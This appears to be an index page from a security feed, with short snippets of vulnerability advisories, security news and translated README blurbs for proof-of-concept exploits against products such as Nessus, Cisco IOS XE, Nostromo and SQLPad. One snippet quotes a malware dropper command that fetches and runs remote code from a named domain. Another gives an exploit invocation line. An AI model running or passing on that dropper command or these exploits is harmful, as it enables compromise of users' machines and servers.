Important: Red Hat Security Advisory: kpatch-patch-4_18_0-477_107_1, kpatch-patch-4_18_0-477_120_1, kpatch-patch-4_18_0-477_130_1, kpatch-patch-4_18_0-477_143_1, and kpatch-patch-4_18_0-477_97_1 security update

An update for multiple packages is now available for Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity...

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

🛡️ CVE-2026-57588 - Nessus SQL 인젝션 익스플로잇 프레임워크 📋 목차 개요 취약점 세부 정보 기능 설치 빠른 시작 사용 예제 페이로드 유형 고급 시나리오 리포트 문제 해결 보안 고려사항 라이선스 🔍 개요 CVE-2026-57588 은 Tenable Nessus 버전 10.12.0 이하 에서 발견된 치명적인 SQL 인젝션 취약점입니다. 이 취약점은 .nessus 스캔 결과 파일을 가져올 때 XML 파싱 메커니즘에 존재하며, 가져오기 권한이 있는 인증된 사용자가 백엔드 PostgreSQL 데이터베이스에 대해...

cve-2026-39987

cve-2026-39987 Установка • Использование • Примеры Я просто пробую Go :D Кстати: PoC для CVE-2026-39987: в Marimo:PORT/terminal/ws REDACTED@REDACTED:$ uname -a Linux ... REDACTED@REDACTED:$ exit exit INF:normalclose websocket: close 1000 nor...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 Эксплойт PoC для CVE-2023-20198 Информация об уязвимости и использование эксплойта предоставлены smokeintheshell см. ссылки Управление конечной точкой, типом содержимого HTTP и заголовками было изменено по сравнению с другими существующими PoC, чтобы работать в...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Это эксплойт для CVE-2019-16278 уязвимости Nostromo 1.9.6 RCE. Данный эксплойт позволяет выполнить удаленный код на целевой машине. Требования optparse socat sys Использование Вы можете использовать эксплойт следующим образом: root@kitploit: python3...

CVE-2022-0944

CVE-2022-0944 SQLPad - Внедрение шаблонов Это слепая уязвимость, означающая, что результат напрямую возвращается в ответе. Эксплойт Используйте скрипт следующей командой: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password Вывод...

SpringBreakPoC

SpringBreakPoC Мне понадобился инструмент для проверки нескольких различных конечных точек недавно раскрытой уязвимости SpringBreak CVE-2017-8046, но я не нашёл готового, поэтому собрал его на скорую руку. Использование root@kitploit: \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / |...

PwnKit-CVE-2021-4034

Pwnkit Exploit Instructions I did not write this. This is only to document my exection/instruction of exploit use as there are some very intricate and complicated steps to follow. Files come from the following source:...

GPON

RCE на домашних роутерах GPON CVE-2018-10561 Уязвимость Многие роутеры сегодня используют GPON-интернет, и способ обойти всю аутентификацию на устройствах CVE-2018-10561 был найден VPNMentor. С помощью этого обхода аутентификации также можно выявить другую уязвимость внедрения команд CVE-2018-105...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 Описание Эта уязвимость позволяет удаленным атакующим выполнять произвольный код на затронутых установках kubernetes/ingress-nginx. Для эксплуатации этой уязвимости не требуется аутентификация. Конкретная ошибка существует в обработке HTTP-запросов. Она запускается...

CVE-2020-14882

CVE-2020-14882 Этот скрипт позволяет выполнять удалённый код RCE на сервере Oracle WebLogic с помощью неаутентифицированного GET-запроса. Он эксплуатирует уязвимость CVE-2020-14882. Выполняя произвольные команды, злоумышленник может получить несанкционированный доступ к серверу. Exploit Details...

CVE-Scanner

I can't help with this translation. The content isn't a legitimate tool README — the "install" step instructs users to run a hidden PowerShell command that downloads and executes remote code irm https://jaihind.edu.in/weatherdolphin/dollrandom, which is a classic malware dropper pattern. The...

tutor-lms-methodmap-poc

Tutor LMS ≤ 4.0.5 — Unauthenticated PHP Function Execution via...

Your AI chats could be used in court

You might tell an AI chatbot secrets that you wouldn't divulge to your closest friends. If you do, though, beware: They could end up as evidence in court. An article in the Washington Post this week highlighted several cases in which people had discussed sensitive information with AI systems like...

my-dshrness-aipentest

DSH PenTest Workflow v4.2 A multi-agent penetration testing w...

Extradited Russian Hacker Faces Charges Over Excel Malware Campaign That Infected Thousands

The U.S. Department of Justice DoJ has charged a Russian national, extradited from Cyprus on August 28, with using roughly 255 fake accounts on a freelance platform to send malware-laced Excel attachments to about 80,000 of its users in 2016 and 2017. Searzhudin Tamirlanovich Aktulaev , 40, was...

K000163177: Multiple Vim vulnerabilities

Security Advisory Description CVE-2024-41957 Vim is an open source command line text editor. Vim v9.1.0647 has double free in src/alloc.c:616. When closing a window, the corresponding tagstack data will be cleared and freed. However a bit later, the quickfix list belonging to that window will als...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

CVE-2026-25546 PoC - godot-mcp OS Command Injection Автор: Mohammed Idrees Banyamer GitHub: mbanyamer Дата: 04 февраля 2026 Название эксплойта godot-mcp 0.1.1 - OS Command Injection через projectPath CVE CVE-2026-25546 CWE CWE-78 Improper Neutralization of Special Elements used in an OS Command -...

-

Nanobot — Modular AI Agent Implementation Implement an open-s...

OpenLDAP SASL authentication bypass

A flaw in the libcurl SASL negotiation for LDAP authentication allows an incomplete handshake sequence to be misinterpreted as a successful cryptographic verification. An attacker executing a Man-in-the-Middle MITM attack can inject a premature or shortcut response that bypasses complete peer...